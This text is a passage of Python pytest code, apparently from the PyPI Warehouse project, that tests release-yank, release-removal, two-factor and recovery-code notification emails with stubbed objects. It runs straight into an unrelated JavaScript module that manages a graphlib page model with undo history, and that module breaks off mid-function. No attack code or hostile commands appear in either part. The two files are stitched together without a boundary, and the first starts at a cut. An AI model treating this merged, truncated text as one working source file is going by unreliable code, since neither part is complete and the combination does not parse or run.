pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="Yanky Doodle went to town", ) result = email.send_yanked_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Owner", ) assert result == { "project": release.project.name, "release": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "an owner", "yanked_reason": "Yanky Doodle went to town", } subject_renderer.assert_(project="test_project") subject_renderer.assert_(release="0.0.0") body_renderer.assert_(project="test_project") body_renderer.assert_(release="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="an owner") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestUnyankedReleaseEmail: def test_send_unyanked_project_release_email_to_maintainer( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_unyanked_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Maintainer", ) assert result == { "project": release.project.name, "release": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "a maintainer", } subject_renderer.assert_(project="test_project") subject_renderer.assert_(release="0.0.0") body_renderer.assert_(project="test_project") body_renderer.assert_(release="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="a maintainer") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_send_unyanked_project_release_email_to_owner( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/unyanked-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_unyanked_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Owner", ) assert result == { "project": release.project.name, "release": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "an owner", } subject_renderer.assert_(project="test_project") subject_renderer.assert_(release="0.0.0") body_renderer.assert_(project="test_project") body_renderer.assert_(release="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="an owner") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestRemovedReleaseEmail: def test_send_removed_project_release_email_to_maintainer( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_removed_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Maintainer", ) assert result == { "project_name": release.project.name, "release_version": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "a maintainer", } subject_renderer.assert_(project_name="test_project") subject_renderer.assert_(release_version="0.0.0") body_renderer.assert_(project_name="test_project") body_renderer.assert_(release_version="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="a maintainer") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_send_removed_project_release_email_to_owner( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_removed_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Owner", ) assert result == { "project_name": release.project.name, "release_version": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "an owner", } subject_renderer.assert_(project_name="test_project") subject_renderer.assert_(release_version="0.0.0") body_renderer.assert_(project_name="test_project") body_renderer.assert_(release_version="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="an owner") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestRemovedReleaseFileEmail: def test_send_removed_project_release_file_email_to_owner( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_removed_project_release_file_email( pyramid_request, [stub_user, stub_submitter_user], file="test-file-0.0.0.tar.gz", release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Owner", ) assert result == { "file": "test-file-0.0.0.tar.gz", "project_name": release.project.name, "release_version": release.version, "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "an owner", } subject_renderer.assert_(project_name="test_project") subject_renderer.assert_(release_version="0.0.0") body_renderer.assert_(file="test-file-0.0.0.tar.gz") body_renderer.assert_(release_version="0.0.0") body_renderer.assert_(project_name="test_project") body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="an owner") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_send_removed_project_release_file_email_to_maintainer( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project-release-file/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="", ) result = email.send_removed_project_release_file_email( pyramid_request, [stub_user, stub_submitter_user], file="test-file-0.0.0.tar.gz", release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Maintainer", ) assert result == { "file": "test-file-0.0.0.tar.gz", "project_name": release.project.name, "release_version": release.version, "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "a maintainer", } subject_renderer.assert_(project_name="test_project") subject_renderer.assert_(release_version="0.0.0") body_renderer.assert_(file="test-file-0.0.0.tar.gz") body_renderer.assert_(release_version="0.0.0") body_renderer.assert_(project_name="test_project") body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="a maintainer") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestTwoFactorEmail: @pytest.mark.parametrize( ("action", "method", "pretty_method"), [ ("added", "totp", "TOTP"), ("removed", "totp", "TOTP"), ("added", "webauthn", "WebAuthn"), ("removed", "webauthn", "WebAuthn"), ], ) def test_two_factor_email( self, pyramid_request, pyramid_config, monkeypatch, action, method, pretty_method, ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) subject_renderer = pyramid_config.testing_add_renderer( f"email/two-factor-{action}/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( f"email/two-factor-{action}/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( f"email/two-factor-{action}/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} send_method = getattr(email, f"send_two_factor_{action}_email") result = send_method(pyramid_request, stub_user, method=method) assert result == {"method": pretty_method, "username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(method=pretty_method, username=stub_user.username) html_renderer.assert_(method=pretty_method, username=stub_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestRecoveryCodeEmails: @pytest.mark.parametrize( "fn, template_name", [ (email.send_recovery_codes_generated_email, "recovery-codes-generated"), (email.send_recovery_code_used_email, "recovery-code-used"), (email.send_recovery_code_reminder_email, "recovery-code-reminder"), ], ) def test_recovery_code_emails( self, pyramid_request, pyramid_config, monkeypatch, fn, template_name ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) subject_renderer = pyramid_config.testing_add_renderer( f"email/{ template_name }/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( f"email/{ template_name }/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( f"email/{ template_name }/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = fn(pyramid_request, stub_user) assert result == {"username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.username} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ]
/* * Copyright 2017 Alexander Pustovalov * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import { forOwn, isObject, takeRight, last, initial } from 'lodash'; import { Graph } from 'graphlib'; import { fulex } from '../utils/utils.js'; import { getAvailableRoute } from './reactRouterApi.js'; import { mapModel, mapModelForNode, makeNodeWrapper, traverseGraphBranch, adjustIndices } from './graphUtils.js'; import { detachGraphNode, detachGraphNodes, copyGraphNode, copyGraphNodes } from './graphUtils.js'; let bufferKey = undefined; let graphObject = { graph: undefined, model: undefined, pageNodes: [] }; let history = []; export function pushHistory(pagePath){ if(history.length >= 50){ history = takeRight(history, 50); } history.push({ model: fulex(graphObject.model), markedKeys: getAllMarkedKeys(), pagePath: pagePath }); } export function popHistory(){ if(history.length > 0){ const historyObject = last(history); initGraph(historyObject.model); history = initial(history); return historyObject; } return undefined; } export function getHistorySize(){ return history.length; } export function initGraph(initialModel){ if(graphObject.graph){ delete graphObject.graph; } if(graphObject.model){ delete graphObject.model; } if(graphObject.pageNodes){ delete graphObject.pageNodes; } graphObject.model = fulex(initialModel); if(graphObject.model && graphObject.model.pages && graphObject.model.pages.length > 0){ graphObject.graph = new Graph({ compound: true }); graphObject.graph.setDefaultEdgeLabel('link'); graphObject.pageNodes = []; let pageKey; graphObject.model.pages.forEach((page, index) => { pageKey = mapModel(graphObject.graph, page, index); graphObject.pageNodes.push({ pagePath: page.pagePath, pageName: page.pageName, pageKey: pageKey }); }); } } export function getGraph(){ return graphObject.graph; } export function getModel(){ return graphObject.model; } export function getPages(){ return graphObject.pageNodes; } export function getNode(key){ return graphObject.graph.node(key); } export function getPagePath(pathname){ let paths = []; graphObject.pageNodes.forEach(pageNode => { paths.push(pageNode.pagePath); }); return getAvailableRoute(paths, pathname); } export function getPageModelByPagePath(pathname) { let found = undefined; if (graphObject.model && graphObject.model.pages) { found = graphObject.model.pages.find(page => page.pagePath === pathname); } return found; } export function getWrappedModelByPagePath(pathname){ let wrappedModel = undefined; let paths = []; graphObject.pageNodes.forEach(pageNode => { paths.push(pageNode.pagePath); }); const path = getAvailableRoute(paths, pathname); const pageNode = graphObject.pageNodes.find(pageNode => { return pageNode.pagePath === path; }); if(pageNode){ wrappedModel = traverseGraph(pageNode.pageKey); } return wrappedModel; } export function getMarkedKeysByPagePath(pathname){ let paths = []; graphObject.pageNodes.forEach(pageNode => { paths.push(pageNode.pagePath); }); const path = getAvailableRoute(paths, pathname); const pageNode = graphObject.pageNodes.find(pageNode => { return pageNode.pagePath === path; }); return getMarkedKeys(pageNode ? pageNode.pageKey : undefined); } export function getChildNodes(key){ let result = []; const children = graphObject.graph.children(key); if(children && children.length > 0){ children.forEach(child => { result.push(makeNodeWrapper(child, graphObject.graph.node(child))); }); result.sort((a, b) => a.index - b.index); } return result; } export function hasNode(key){ return graphObject.graph.hasNode(key); } function traverseGraph(rootNodeKey, result){ const { graph } = graphObject; let rootNode = graph.node(rootNodeKey); if(rootNode){ let resultNode = makeNodeWrapper(rootNodeKey, rootNode); const parentKey = graph.parent(rootNodeKey); if(!parentKey){ resultNode.isRoot = true; } let children = graph.children(rootNodeKey); if(children && children.length > 0){ children.forEach(child => { traverseGraph(child, resultNode); }); if(resultNode.children && resultNode.children.length > 0){ resultNode.children.sort((a, b) => a.index - b.index); } } if(!result){ result = resultNode; } else if(rootNode.prop){ result.props = result.props || {}; result.props[rootNode.prop] = resultNode; } else { result.children = result.children || []; result.children.push(resultNode); } } return result; } export function traverseAllGraph(){ const { pageNodes } = graphObject; let result = []; pageNodes.forEach(pNode => { result = result.concat(traverseGraph(pNode.pageKey)); }); return result; } export function getParentsList(childNodeKey, result){ const { graph } = graphObject; let childNode = graph.node(childNodeKey); if(childNode){ let childModelNode = makeNodeWrapper(childNodeKey, childNode); result = result || []; result.push(childModelNode); const parentNodeKey = graph.parent(childNodeKey); if(parentNodeKey){ getParentsList(parentNodeKey, result); } else { childModelNode.isRoot = true; } } return result; } export function changePagePathAndName(pagePath, nextPagePath, nextPageName){ const { graph, pageNodes } = graphObject; const pageNode = pageNodes.find(pNode => { return pNode.pagePath === pagePath; }); if(!pageNode){ throw Error('Change page path and name: specified path ' + pagePath + ' was not found.'); } let rootNode = graph.node(pageNode.pageKey); if(rootNode){ let modelNode = rootNode.modelNode; modelNode.pageName = nextPageName; modelNode.pagePath = nextPagePath; pageNode.pageName = nextPageName; pageNode.pagePath = nextPagePath; } return graphObject.pageNodes; } export function addNewPage(initialModel, pagePath, pageName){ let { graph, model, pageNodes } = graphObject; let pageModel = fulex(initialModel); pageModel.pagePath = pagePath; pageModel.pageName = pageName; model.pages.push(pageModel); const pageKey = mapModel(graph, pageModel, pageNodes.length, true); pageNodes.push({ pagePath: pagePath, pageName: pageName, pageKey: pageKey }); return pageNodes; } export function duplicatePage(pagePath, nextPagePath, nextPageName){ let { graph, model, pageNodes } = graphObject; const pageNode = pageNodes.find(pNode => { return pNode.pagePath === pagePath; }); if(!pageNode){ throw Error('Duplicate page: specified path ' + pagePath + ' was not found.'); } let rootNode = graph.node(pageNode.pageKey); if(rootNode){ let pageModel = fulex(rootNode.modelNode); pageModel.pagePath = nextPagePath; pageModel.pageName = nextPageName; model.pages.push(pageModel); const pageKey = mapModel(graph, pageModel, pageNodes.length, true); pageNodes.push({ pagePath: pageModel.pagePath, pageName: pageModel.pageName, pageKey: pageKey }); } return pageNodes; } export function setIndexPage(pagePath){ let { graph, model, pageNodes } = graphObject; const pageNode = pageNodes.find(pNode => { return pNode.pagePath === pagePath; }); if(!pageNode){ throw Error('Set index page: specified path ' + pagePath + ' was not found.'); } let rootNode = graph.node(pageNode.pageKey); if(rootNode){ const tempModel = model.pages.splice(rootNode.index, 1)[0]; if(tempModel){ model.pages.splice(0, 0, tempModel); } else { console.error('Page model was not found in pages model index: ' + rootNode.index); } let newPageNodes = []; let newPageNode; let graphNode; model.pages.forEach((page, index) => { newPageNode = pageNodes.find(pNode => { return 